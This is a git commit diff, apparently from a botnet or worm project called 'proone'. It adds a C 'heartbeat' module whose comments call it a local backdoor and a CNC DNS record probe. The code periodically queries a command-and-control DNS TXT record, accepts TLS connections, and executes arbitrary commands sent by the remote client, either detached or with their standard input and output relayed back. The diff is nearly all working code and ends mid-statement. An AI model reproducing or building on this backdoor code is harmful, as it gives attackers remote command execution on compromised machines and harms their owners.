diff options
author | David Timber <mieabby@gmail.com> | 2020-08-29 17:09:10 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-29 17:20:37 +0930 |
commit | f36333b2c915ac7d9cf82e09ab5cb2a2f8296177 (patch) | |
tree | 48e28c7750c99414bc1430ffefbd9fbaa26788e5 | |
parent | acf0b7a45171555eba2c10a6ef84f915c62f6791 (diff) |
* _POSIX_C_SOURCE=199506L
* Add proone-htbthost
* Add prne_iobuf, use it in resolv, htbt
* memzero() -> prne_memzero() now as a function
* Add prne_mbedtls_pth_handle()
* Protocol changes
* Remove prne_unint_*()
* Add src/proone_conf.skel
-rw-r--r-- | proone.code-workspace | 3 | ||||
-rw-r--r-- | src/Makefile.am | 16 | ||||
-rw-r--r-- | src/config.h | 2 | ||||
-rw-r--r-- | src/htbt.c | 1222 | ||||
-rw-r--r-- | src/htbt.h | 33 | ||||
-rw-r--r-- | src/iobuf.c | 83 | ||||
-rw-r--r-- | src/iobuf.h | 29 | ||||
-rw-r--r-- | src/mbedtls.c | 54 | ||||
-rw-r--r-- | src/mbedtls.h | 15 | ||||
-rw-r--r-- | src/pack.c | 2 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 0 | ||||
-rw-r--r-- | src/proone-htbthost.c | 425 | ||||
-rw-r--r-- | src/proone-mkdvault.c | 1 | ||||
-rw-r--r-- | src/proone-pack.c | 6 | ||||
-rwxr-xr-x | src/proone-resolv | bin | 144256 -> 0 bytes | |||
-rw-r--r-- | src/proone-resolv.c | 6 | ||||
-rw-r--r-- | src/proone-stress.c | 18 | ||||
-rw-r--r-- | src/proone-test_proto.c | 38 | ||||
-rw-r--r-- | src/proone-test_util.c | 6 | ||||
-rw-r--r-- | src/proone.c | 64 | ||||
-rw-r--r-- | src/proone.h | 8 | ||||
-rw-r--r-- | src/proone_conf.skel/config.h | 1 | ||||
-rw-r--r-- | src/proone_conf.skel/x509.h | 6 | ||||
-rw-r--r-- | src/protocol.c | 168 | ||||
-rw-r--r-- | src/protocol.h | 81 | ||||
-rw-r--r-- | src/pth.c | 77 | ||||
-rw-r--r-- | src/pth.h | 6 | ||||
-rw-r--r-- | src/resolv.c | 321 | ||||
-rw-r--r-- | src/resolv.h | 1 | ||||
-rw-r--r-- | src/util_ct.h | 6 | ||||
-rw-r--r-- | src/util_rt.c | 31 | ||||
-rw-r--r-- | src/util_rt.h | 21 |
32 files changed, 2181 insertions, 569 deletions
diff --git a/proone.code-workspace b/proone.code-workspace index aa336bb..3464962 100644 --- a/proone.code-workspace +++ b/proone.code-workspace @@ -10,8 +10,7 @@ "files.trimTrailingWhitespace": true, "C_Cpp.default.cStandard": "c11", "C_Cpp.default.defines": [ - // "_POSIX_C_SOURCE=200112L", - "_GNU_SOURCE=1", // TODO: remove + "_POSIX_C_SOURCE=199506L", "PRNE_DEBUG", "PRNE_BUILD_ENTROPY={ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }", "PRNE_BIN_ALIGNMENT=8"], diff --git a/src/Makefile.am b/src/Makefile.am index 785aeb5..b695333 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,7 +1,6 @@ BIN_ALIGNMENT = 8 -# TODO: Use -D_POSIX_C_SOURCE=200112L or -D_POSIX_C_SOURCE=2 -AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_GNU_SOURCE -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections +AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_POSIX_C_SOURCE=199506L -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) -fdata-sections -ffunction-sections -Wl,--gc-sections if DEBUG AM_CFLAGS += -g -O0 -DPRNE_DEBUG else @@ -22,7 +21,8 @@ bin_PROGRAMS =\ proone-list-arch\ proone-resolv\ proone-stress\ - proone-ipaddr-arr + proone-ipaddr-arr\ + proone-htbthost proone_tests =\ proone-test_proto\ @@ -40,7 +40,9 @@ libproone_a_SOURCES =\ imap.c\ mbedtls.c\ pth.c\ - resolv.c + resolv.c\ + htbt.c\ + iobuf.c proone: proone.bin dvault.bin cp -fa proone.bin proone @@ -63,7 +65,6 @@ proone_mkdvault_LDADD = libproone.a proone_mkdvault_SOURCES = proone-mkdvault.c proone_pack_LDADD = libproone.a -proone_pack_LDFLAGS = proone_pack_SOURCES = proone-pack.c proone_unpack_LDADD = libproone.a @@ -71,13 +72,14 @@ proone_unpack_LDFLAGS = proone_unpack_SOURCES = proone-unpack.c proone_list_arch_LDADD = libproone.a -proone_list_arch_LDFLAGS = proone_list_arch_SOURCES = proone-list-arch.c proone_resolv_LDADD = libproone.a -proone_resolv_LDFLAGS = proone_resolv_SOURCES = proone-resolv.c +proone_htbthost_LDADD = libproone.a +proone_htbthost_SOURCES = proone-htbthost.c + proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c proone_stress_LDADD = libproone.a diff --git a/src/config.h b/src/config.h index 04f73a9..bfcbc44 100644 --- a/src/config.h +++ b/src/config.h @@ -16,5 +16,3 @@ #define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f } extern const prne_arch_t prne_host_arch; - -#define PRNE_CNC_TXT_REC "cnc.prne.mydomain.test" // CHANGE ME @@ -2,23 +2,43 @@ #include "util_rt.h" #include "protocol.h" #include "llist.h" -#include "dvault.h" #include "pth.h" #include "endian.h" +#include "mbedtls.h" +#include "iobuf.h" +#include <string.h> #include <errno.h> + #include <fcntl.h> #include <poll.h> +#include <unistd.h> +#include <sys/wait.h> +#include <sys/ioctl.h> // CNCP interval: HTBT_CNCP_INT_MIN + variance -#define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval -#define HTBT_CNCP_INT_VAR 1800000 // half an hour variance -#define HTBT_CNCP_PORT prne_htobe16(55420) +// #define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval +// #define HTBT_CNCP_INT_VAR 1800000 // half an hour variance +// TODO +#define HTBT_CNCP_INT_MIN 59000 +#define HTBT_CNCP_INT_VAR 2000 +#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) +#define HTBT_LBD_BACKLOG 4 +// LBD Socket Operation Timeout +static const struct timespec HTBT_LBD_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +// LBD Socket Bind Retry Interval +static const struct timespec HTBT_LBD_BIND_INT = { 5, 0 }; // 5s +// LBD TLS Close Timeout +static const struct timespec HTBT_LBD_CLOSE_TIMEOUT = { 3, 0 }; // 3s + typedef struct { pth_t pth; prne_htbt_t *parent; - struct pollfd pfd; + prne_iobuf_t iobuf[2]; + int fd; + bool valid; + mbedtls_ssl_context ssl; } htbt_lbd_client_t; typedef struct { @@ -30,33 +50,33 @@ typedef struct { } htbt_req_slip_t; struct prne_htbt { - pth_t sigterm_pth; - mbedtls_ctr_drbg_context *rnd; - prne_resolv_t *resolv; - prne_llist_t req_q; + prne_htbt_param_t param; + pth_mutex_t lock; + pth_cond_t cond; bool loop_flag; struct { // Main - pth_mutex_t lock; - pth_cond_t cond; + prne_llist_t req_q; } main; struct { // CNC DNS Record Probe pth_t pth; pth_mutex_t lock; pth_cond_t cond; - prne_pth_cv_t cv; } cncp; struct { // Local Backdoor pth_t pth; - struct pollfd pfd; - prne_llist_t conn_list; // TODO: init + int fd; + prne_llist_t conn_list; } lbd; }; #define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x); - static void fin_htbt_wkr (void *p) { - // TODO + HTBT_INTP_CTX(p); + + ctx->loop_flag = false; + prne_pth_cv_notify(&ctx->lock, &ctx->cond, true); + prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false); } static void free_htbt_wkr_ctx (void *p) { @@ -64,12 +84,14 @@ static void free_htbt_wkr_ctx (void *p) { // TODO - if (ctx->cncp.pth != NULL) { - pth_abort(ctx->cncp.pth); - } - if (ctx->lbd.pth != NULL) { - pth_abort(ctx->lbd.pth); - } + prne_free_llist(&ctx->main.req_q); + pth_abort(ctx->cncp.pth); + + pth_abort(ctx->lbd.pth); + prne_close(ctx->lbd.fd); + prne_free_llist(&ctx->lbd.conn_list); + + prne_free(p); } static void *htbt_main_entry (void *p) { @@ -79,12 +101,19 @@ static void *htbt_main_entry (void *p) { prne_assert(pth_resume(ctx->cncp.pth)); // TODO + while (ctx->loop_flag) { + pth_mutex_acquire(&ctx->lock, FALSE, NULL); + pth_cond_await(&ctx->cond, &ctx->lock, NULL); + pth_mutex_release(&ctx->lock); + } + + prne_close(ctx->lbd.fd); + ctx->lbd.fd = -1; - prne_close(ctx->lbd.pfd.fd); - ctx->lbd.pfd.fd = -1; - prne_pth_cv_notify(&ctx->cncp.cv); prne_assert(pth_join(ctx->lbd.pth, NULL)); prne_assert(pth_join(ctx->cncp.pth, NULL)); + ctx->lbd.pth = NULL; + ctx->cncp.pth = NULL; return NULL; } @@ -92,170 +121,1037 @@ static void *htbt_main_entry (void *p) { static void htbt_cncp_do_probe (prne_htbt_t *ctx) { prne_resolv_prm_t prm; bool r_ret; + prne_pth_cv_t cv; + char txtrec[256]; prne_resolv_init_prm(&prm); + cv.lock = &ctx->cncp.lock; + cv.cond = &ctx->cncp.cond; + cv.broadcast = false; + if (!ctx->param.cb_f.cnc_txtrec(txtrec)) { + goto END; + } + txtrec[255] = 0; r_ret = prne_resolv_prm_gettxtrec( - ctx->resolv, - prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL), - &ctx->cncp.cv, + ctx->param.resolv, + txtrec, + &cv, &prm); if (!r_ret) { - return; + goto END; } - prne_pth_cond_timedwait(&ctx->cncp.cv, NULL, NULL); - if (prm.fut->qr == PRNE_RESOLV_QR_OK) { + pth_mutex_acquire(cv.lock, FALSE, NULL); + pth_cond_await(cv.cond, cv.lock, NULL); + pth_mutex_release(cv.lock); + + if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) { + // Scrub off the name + for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) { + prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name)); + } // TODO // <entries in hex> <txt rec name suffix> } +END: + prne_memzero(txtrec, sizeof(txtrec)); prne_resolv_free_prm(&prm); } -static void *htbt_cncp_entry (void *p) { // TODO: this works? +static void *htbt_cncp_entry (void *p) { HTBT_INTP_CTX(p); unsigned long intvar; - struct timespec timeout; + pth_event_t ev = NULL; + + while (ctx->loop_flag) { + htbt_cncp_do_probe(ctx); - while (true) { // calc interval variance - intvar = 0; - mbedtls_ctr_drbg_random(ctx->rnd, &intvar, sizeof(intvar)); + intvar = 0; // ignore failure of mbedtls_ctr_drbg_random() + mbedtls_ctr_drbg_random( + ctx->param.ctr_drbg, + (unsigned char*)&intvar, + sizeof(intvar)); intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR); - timeout = prne_ms_timespec(intvar); + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(prne_ms_timespec(intvar))); // wait - prne_pth_cond_timedwait(&ctx->cncp.cv, &timeout, NULL); + prne_assert(ev != NULL); // fatal without timeout + pth_mutex_acquire(&ctx->lock, FALSE, NULL); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); if (!ctx->loop_flag) { break; } - - htbt_cncp_do_probe(ctx); } + pth_event_free(ev, FALSE); return NULL; } -static void *htbt_lbd_client_entry (void *p) { - prne_llist_entry_t *ent = (prne_llist_entry_t*)p; - htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ent->element; +static bool htbt_lbd_client_handshake (htbt_lbd_client_t *ctx) { + pth_event_t ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT)); + bool ret; - // TODO + ret = ev != NULL && prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_handshake, + ctx->fd, + ev); + pth_event_free(ev, FALSE); - prne_close(ctx->pfd.fd); - ctx->pfd.fd = -1; + return ret; } -static void *htbt_lbd_entry (void *p) { - HTBT_INTP_CTX(p); +static void htbt_lbd_proc_close (htbt_lbd_client_t *ctx) { + pth_event_t ev; + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_CLOSE_TIMEOUT)); + prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_close_notify, + ctx->fd, + ev); + pth_event_free(ev, FALSE); + prne_shutdown(ctx->fd, SHUT_RDWR); + prne_close(ctx->fd); + ctx->fd = -1; + + ctx->valid = false; +} + +static void htbt_lbd_consume_outbuf ( + htbt_lbd_client_t *ctx, + const size_t req_size, + pth_event_t root_ev) +{ + struct pollfd pfd; int fret; - pth_event_t ev = NULL, ev_sub; - prne_llist_entry_t *ent; - htbt_lbd_client_t *client; - bool rebuild_ev = true; - while (true) { - if (rebuild_ev) { - pth_event_free(ev, TRUE); - ev = NULL; + pfd.fd = ctx->fd; + pfd.events = POLLOUT; - ent = ctx->lbd.conn_list.head; - while (ent != NULL) { - ev_sub = pth_event( - PTH_EVENT_TID | PTH_STATE_DEAD, - ((htbt_lbd_client_t*)ent->element)->pth); - prne_assert(ev_sub != NULL); - if (ev == NULL) { - ev = ev_sub; + while (ctx->iobuf[1].len > 0) { + fret = pth_poll_ev(&pfd, 1, -1, root_ev); + if (root_ev != NULL && + pth_event_status(root_ev) != PTH_STATUS_PENDING) + { + break; + } + if (fret == 1 && pfd.revents & POLLOUT) { + fret = mbedtls_ssl_write( + &ctx->ssl, + ctx->iobuf[1].m, + ctx->iobuf[1].len); + if (fret <= 0) { + ctx->valid = false; + break; + } + prne_iobuf_shift(ctx->iobuf + 1, -fret); + } + else { + break; + } + + if (ctx->iobuf[1].avail >= req_size) { + break; + } + } +} + +static void htbt_lbd_fab_frame ( + htbt_lbd_client_t *ctx, + const prne_htbt_msg_head_t *mh, + const void *body, + prne_htbt_ser_ft ser_f, + pth_event_t root_ev) +{ + size_t req, actual; + + req = 0; + prne_htbt_ser_msg_head(NULL, 0, &actual, mh); + req += actual; + ser_f(NULL, 0, &actual, body); + req += actual; + + prne_assert(req <= ctx->iobuf[1].size); + htbt_lbd_consume_outbuf(ctx, req, root_ev); + if (!ctx->valid) { + return; + } + + prne_htbt_ser_msg_head( + ctx->iobuf[1].m + ctx->iobuf[1].len, + ctx->iobuf[1].avail, + &actual, + mh); + prne_iobuf_shift(ctx->iobuf + 1, actual); + ser_f( + ctx->iobuf[1].m + ctx->iobuf[1].len, + ctx->iobuf[1].avail, + &actual, + body); + prne_iobuf_shift(ctx->iobuf + 1, actual); +} + +static void htbt_lbd_fab_status ( + htbt_lbd_client_t *ctx, + prne_htbt_status_code_t status, + int32_t err, + uint16_t corr_msgid, + pth_event_t root_ev) +{ + prne_htbt_msg_head_t mh; + prne_htbt_status_t s; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&s); + mh.id = corr_msgid; + mh.is_rsp = true; + mh.op = PRNE_HTBT_OP_STATUS; + s.code = status; + s.err = err; + + htbt_lbd_fab_frame( + ctx, + &mh, + &s, + (prne_htbt_ser_ft)prne_htbt_ser_status, + root_ev); + + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&s); +} + +static void htbt_lbd_raise_protoerr ( + htbt_lbd_client_t *ctx, + uint16_t corr_msgid, + int32_t err, + pth_event_t root_ev) +{ + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_PROTO_ERR, + err, + corr_msgid, + root_ev); + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + ctx->valid = false; +} + +static void htbt_lbd_fab_unimpl ( + htbt_lbd_client_t *ctx, + uint16_t corr_msgid, + pth_event_t root_ev) +{ + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_UNIMPL, + 0, + corr_msgid, + root_ev); +} + +static void htbt_lbd_srv_hostinfo ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev, + const prne_htbt_msg_head_t *mh) +{ + prne_htbt_host_info_t hi; + + if (ctx->parent->param.cb_f.hostinfo == NULL) { + htbt_lbd_fab_unimpl(ctx, mh->id, root_ev); + return; + } + + prne_htbt_init_host_info(&hi); + + if (ctx->parent->param.cb_f.hostinfo(&hi)) { + htbt_lbd_fab_frame( + ctx, + mh, + &hi, + (prne_htbt_ser_ft)prne_htbt_ser_host_info, + root_ev); + } + else { + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_ERRNO, + errno, + mh->id, + root_ev); + } + + prne_htbt_free_host_info(&hi); +} + +static bool htbt_relay_child ( + const int conn, + mbedtls_ssl_context *ssl, + prne_iobuf_t *iobuf, + int *c_in, + int *c_out, + int *c_err) +{ + bool ret = true; + struct pollfd pfd[4]; + prne_htbt_stdio_t head[2]; + int f_ret, pending, out_p = 0; + size_t actual; + + pfd[0].fd = conn; + pfd[1].fd = *c_in; + pfd[2].fd = *c_out; + pfd[3].fd = *c_err; + prne_htbt_init_stdio(head + 0); + prne_htbt_init_stdio(head + 1); + + while ((!head[0].fin && head[0].len > 0) || + iobuf[1].len > 0 || + pfd[1].fd >= 0 || + pfd[2].fd >= 0 || + pfd[3].fd >= 0) + { + pfd[0].events = 0; + if (iobuf[1].len > 0) { + pfd[0].events |= POLLOUT; + } + if (iobuf[0].avail > 0 && !(head[0].fin && head[0].len == 0)) { + pfd[0].events |= POLLIN; + } + + if (head[0].len > 0 && iobuf[0].len > 0) { + pfd[1].events = POLLOUT; + } + else { + pfd[1].events = 0; + } + + pfd[2].events = 0; + pfd[3].events = 0; + if (iobuf[1].len == 0) { + if (pfd[2 + out_p].fd < 0) { + out_p = (out_p + 1) % 2; + } + pfd[2 + out_p].events |= POLLIN; + } + + f_ret = pth_poll(pfd, 4, -1); + if (f_ret < 0 && errno != EINTR) { + ret = false; + break; + } + if (f_ret == 0) { + break; + } + + if (pfd[0].revents & POLLIN) { + f_ret = mbedtls_ssl_read( + ssl, + iobuf[0].m + iobuf[0].len, + iobuf[0].avail); + if (f_ret <= 0) { + break; + } + else { + prne_iobuf_shift(iobuf + 0, f_ret); + if (head[0].len == 0) { + if (prne_htbt_dser_stdio( + iobuf[0].m, + iobuf[0].len, + &actual, + head + 0) == PRNE_HTBT_SER_RC_OK) + { + prne_iobuf_shift(iobuf + 0, -actual); + if (head[0].len == 0 && head[0].fin) { + close(*c_in); + *c_in = -1; + } + } + } + } + } + if (pfd[0].revents & POLLOUT) { + f_ret = mbedtls_ssl_write( + ssl, + iobuf[1].m, + iobuf[1].len); + if (f_ret <= 0) { + break; + } + else { + prne_iobuf_shift(iobuf + 1, -f_ret); + if (pending > 0) { + pending -= f_ret; } else { - prne_assert(pth_event_concat(ev, ev_sub, NULL) != NULL); + head[1].len -= f_ret; + if (head[1].len == 0) { + out_p = (out_p + 1) % 2; + } } + } + } + if (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR)) { + pfd[0].fd = -1; + } - ent = ent->next; + if (pfd[1].fd < 0 && head[0].len > 0) { + const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + + prne_iobuf_shift(iobuf + 0, -consume); + head[0].len -= consume; + } + else if (pfd[1].revents) { + const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + + f_ret = write(*c_in, iobuf[0].m, consume); + if (f_ret <= 0) { + pfd[1].fd = -1; } - rebuild_ev = false; + prne_iobuf_shift(iobuf + 0, -consume); + head[0].len -= consume; + if (head[0].len == 0 && head[0].fin) { + close(*c_in); + *c_in = -1; + pfd[0].fd = -1; + } + } + + if (pfd[2 + out_p].revents) { + if (head[1].len == 0) { + prne_assert(ioctl(pfd[2 + out_p].fd, FIONREAD, &pending) == 0); + + head[1].len = (size_t)prne_op_min( + pending, + PRNE_HTBT_STDIO_LEN_MAX); + head[1].err = out_p != 0; + head[1].fin = head[1].len == 0; + prne_htbt_ser_stdio( + iobuf[1].m + iobuf[1].len, + iobuf[1].avail, + &actual, + head + 1); + pending = (size_t)actual; + prne_iobuf_shift(iobuf + 1, actual); + + if (head[1].fin) { + pfd[2 + out_p].fd = -1; + } + } + else { + f_ret = read( + pfd[2 + out_p].fd, + iobuf[1].m + iobuf[1].len, + prne_op_min(head[1].len, iobuf[1].avail)); + prne_dbgast(f_ret > 0); + prne_iobuf_shift(iobuf + 1, f_ret); + } + } + } + + prne_htbt_free_stdio(head + 0); + prne_htbt_free_stdio(head + 1); + close(*c_in); + close(*c_out); + close(*c_err); + *c_in = -1; + *c_out = -1; + *c_err = -1; + + return ret; +} + +/* htbt_do_cmd() +* +* Give flushed output buffer. +*/ +static void htbt_do_cmd ( + const bool detach, + char *const *args, + const int conn, + mbedtls_ssl_context *ssl, + prne_iobuf_t *iobuf, + prne_htbt_status_code_t *out_status, + int32_t *out_err) +{ + int cin[2] = { -1, -1 }; + int cout[2] = { -1, -1 }; + int cerr[2] = { -1, -1 }; + int errp[2] = { -1, -1 }; + pid_t child = -1; + int f_ret; + + if (pipe(errp) != 0 || + fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 || + fcntl(errp[1], F_SETFD, FD_CLOEXEC) != 0) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + if (!detach && + (pipe(cin) != 0 || pipe(cout) != 0 || pipe(cerr) != 0)) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + + child = pth_fork(); + if (child == 0) { + do { // TRY + close(errp[0]); + + if (detach) { + if (setsid() < 0) { + break; + } + close(STDIN_FILENO); + // Inherit these if DEBUG +#if !defined(PRNE_DEBUG) + close(STDOUT_FILENO); + close(STDERR_FILENO); +#endif + } + else { + close(cin[1]); + close(cout[0]); + close(cerr[0]); + if (prne_chfd(cin[0], STDIN_FILENO) != STDIN_FILENO || + prne_chfd(cout[1], STDOUT_FILENO) != STDOUT_FILENO || + prne_chfd(cerr[1], STDERR_FILENO) != STDERR_FILENO) + { + break; + } + } + + execv(args[0], args); + } while (false); + // CATCH + *out_err = errno; + write(errp[1], out_err, sizeof(int32_t)); + raise(SIGKILL); + } + else if (child < 0) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + + // The parent continues ... + close(errp[1]); + + // This could block forever if the child gets stoppep + f_ret = pth_read(errp[0], out_err, sizeof(int32_t)); + if (f_ret == sizeof(int32_t)) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + goto END; + } + prne_close(errp[0]); + errp[0] = -1; + + *out_status = PRNE_HTBT_STATUS_OK; + if (detach) { + *out_err = 0; + child = -1; + } + else { + int status; + + prne_close(cin[0]); + prne_close(cout[1]); + prne_close(cerr[1]); + cin[0] = cout[1] = cerr[1] = errp[1] = -1; + if (!prne_sck_fcntl(cin[1]) || + !prne_sck_fcntl(cout[0]) || + !prne_sck_fcntl(cerr[0])) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; } - if (ctx->lbd.pfd.fd < 0) { + if (htbt_relay_child(conn, ssl, iobuf, &cin[1], &cout[0], &cerr[0])) { + if (pth_waitpid(child, &status, WUNTRACED) < 0) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + else if (WIFEXITED(status)) { + *out_err = WEXITSTATUS(status); + } + else if (WIFSIGNALED(status)) { + *out_err = 128 + WTERMSIG(status); + } + else { + // child has been stopped just right before exit + *out_err = -1; + } + child = -1; + } + else { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + } + } + +END: + prne_close(cin[0]); + prne_close(cin[1]); + prne_close(cout[0]); + prne_close(cout[1]); + prne_close(cerr[0]); + prne_close(cerr[1]); + prne_close(errp[0]); + prne_close(errp[1]); + if (child > 0) { + kill(child, SIGKILL); + pth_waitpid(child, NULL, 0); + } +} + +static bool htbt_lbd_srv_run_cmd ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev, + const size_t off, + const prne_htbt_msg_head_t *mh) +{ + bool ret = false; + size_t actual; + prne_htbt_ser_rc_t s_ret; + prne_htbt_cmd_t cmd; + prne_htbt_status_code_t status = PRNE_HTBT_STATUS_ERRNO; + int32_t err = 0; + + prne_htbt_init_cmd(&cmd); + + s_ret = prne_htbt_dser_cmd( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &cmd); + if (s_ret != PRNE_HTBT_SER_RC_MORE_BUF) { + prne_iobuf_shift(ctx->iobuf + 0, -(off + actual)); + } + if (s_ret == PRNE_HTBT_SER_RC_FMT_ERR) { + htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev); + goto END; + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_ERRNO, + errno, + mh->id, + root_ev); + goto END; + } + + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + if (root_ev != NULL && pth_event_status(root_ev) == PTH_STATUS_PENDING) { + htbt_do_cmd( + cmd.detach, + cmd.args, + ctx->fd, + &ctx->ssl, + ctx->iobuf, + &status, + &err); + htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev); + ret = true; + } +END: + prne_htbt_free_cmd(&cmd); + return ret; +} + +static bool htbt_lbd_consume_inbuf ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev) +{ + prne_htbt_ser_rc_t s_ret; + prne_htbt_msg_head_t f_head; + size_t actual; + bool ret = true; + + prne_htbt_init_msg_head(&f_head); + + s_ret = prne_htbt_dser_msg_head( + ctx->iobuf[0].m, + ctx->iobuf[0].len, + &actual, + &f_head); + if (s_ret != PRNE_HTBT_SER_RC_OK) { + ret = false; + goto END; + } + if (f_head.is_rsp || + (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0)) + { + htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev); + ret = false; + goto END; + } + + f_head.is_rsp = true; + switch (f_head.op) { + case PRNE_HTBT_OP_NOOP: + prne_iobuf_shift(ctx->iobuf + 0, -actual); + break; + case PRNE_HTBT_OP_HOST_INFO: + htbt_lbd_srv_hostinfo(ctx, root_ev, &f_head); + break; + case PRNE_HTBT_OP_RUN_CMD: + ret = htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head); + break; + case PRNE_HTBT_OP_RUN_BIN: + case PRNE_HTBT_OP_HOVER: + case PRNE_HTBT_OP_NY_BIN: + default: + htbt_lbd_raise_protoerr( + ctx, + f_head.id, + PRNE_HTBT_STATUS_UNIMPL, + root_ev); + ret = false; + break; + } + +END: + prne_htbt_free_msg_head(&f_head); + + return ret; +} + +static void *htbt_lbd_client_entry (void *p) { + htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)p; + int rw_size; + pth_event_t ev = NULL, ev_timeout = NULL; + struct pollfd pfd; + unsigned long ev_spec; + + if (!htbt_lbd_client_handshake(ctx)) { + ctx->valid = false; + } + + while (ctx->parent->loop_flag && ctx->valid) { + if (ctx->iobuf[1].len > 0) { + ev_spec = + PTH_EVENT_FD | + PTH_UNTIL_FD_READABLE | + PTH_UNTIL_FD_WRITEABLE | + PTH_UNTIL_FD_EXCEPTION; + pfd.events = POLLIN | POLLOUT; + } + else { + ev_spec = + PTH_EVENT_FD | + PTH_UNTIL_FD_READABLE | + PTH_UNTIL_FD_EXCEPTION; + pfd.events = POLLIN; + } + + if (ev_timeout == NULL) { + ev_timeout = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT)); + prne_assert(ev_timeout != NULL); + } + pth_event_free(ev, FALSE); + ev = pth_event( + ev_spec, + ctx->fd); + prne_assert(ev != NULL); + pth_event_concat(ev, ev_timeout, NULL); + + prne_assert(pth_mutex_acquire(&ctx->parent->lock, FALSE, ev)); + pth_cond_await(&ctx->parent->cond, &ctx->parent->lock, ev); + pth_mutex_release(&ctx->parent->lock); + if (!ctx->parent->loop_flag) { break; } - fret = pth_poll_ev(&ctx->lbd.pfd, 1, -1, ev); - if (ev != NULL && pth_event_occurred(ev)) { - ent = ctx->lbd.conn_list.head; - while (ent != NULL) { - client = (htbt_lbd_client_t*)ent->element; + pfd.fd = ctx->fd; + if (poll(&pfd, 1, 0) == 1) { + if (!(pfd.revents & (POLLIN | POLLOUT))) { + break; + } - if (client->pfd.fd < 0) { - pth_join(client->pth, NULL); - prne_free(client); - ent = prne_llist_erase(&ctx->lbd.conn_list, ent); - rebuild_ev = true; + if (pfd.revents & POLLOUT) { + htbt_lbd_consume_outbuf(ctx, 0, ev_timeout); + } + if (pfd.revents & POLLIN) { + if (ctx->iobuf[0].avail == 0) { + prne_dbgpf("** Malicious client?\n"); + goto END; } - else { - ent = ent->next; + rw_size = mbedtls_ssl_read( + &ctx->ssl, + ctx->iobuf[0].m + ctx->iobuf[0].len, + ctx->iobuf[0].avail); + if (rw_size <= 0) { + break; + } + prne_iobuf_shift(ctx->iobuf + 0, rw_size); + + if (htbt_lbd_consume_inbuf(ctx, ev_timeout)) { + pth_event_free(ev_timeout, FALSE); + ev_timeout = NULL; } } } + } + +END: + pth_event_free(ev, TRUE); + htbt_lbd_proc_close(ctx); + + return NULL; +} + +static void htbt_init_lbd_client (htbt_lbd_client_t *c) { + c->pth = NULL; + c->parent = NULL; + prne_init_iobuf(c->iobuf + 0); + prne_init_iobuf(c->iobuf + 1); + c->fd = -1; + c->valid 